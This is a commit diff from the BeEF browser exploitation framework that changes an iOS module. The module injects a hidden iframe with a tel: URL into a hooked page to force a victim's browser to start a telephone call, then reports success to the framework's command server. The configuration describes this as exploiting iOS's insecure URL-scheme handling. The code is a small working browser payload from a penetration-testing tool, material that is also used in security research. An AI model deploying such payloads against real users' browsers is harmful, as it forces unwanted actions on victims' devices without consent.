(Fixes issue 572): iPhone telephone module does not use skype, use hidden iframe dom code

This commit is contained in:
Christian Frichot
2011-11-24 20:48:42 +08:00
parent b90d88968e
commit a52bd5dac2
2 changed files with 5 additions and 4 deletions

View File

@@ -14,7 +14,8 @@
// limitations under the License.
//
beef.execute(function() {
document.body.innerHTML = "<iframe src=tel:<%= @tel_num %>></iframe>";
var sploit = beef.dom.createInvisibleIframe();
sploit.src = 'tel:<%= @tel_num %>';
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!");
});

View File

@@ -18,8 +18,8 @@ beef:
iphone_tel:
enable: true
category: "Host"
name: "Make Skype Call (Tel)"
description: "This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes in iOS.<br><br>The protocol handler used will be: tel"
name: "Make Telephone Call"
description: "This module will force the browser to attempt a telephone call in iOS. It will exploit the insecure handling of URL schemes in iOS.<br><br>The protocol handler used will be: tel"
authors: ["xntrik", "Nitesh Dhanjani"]
target:
working: ['S']
user_notify: ['S']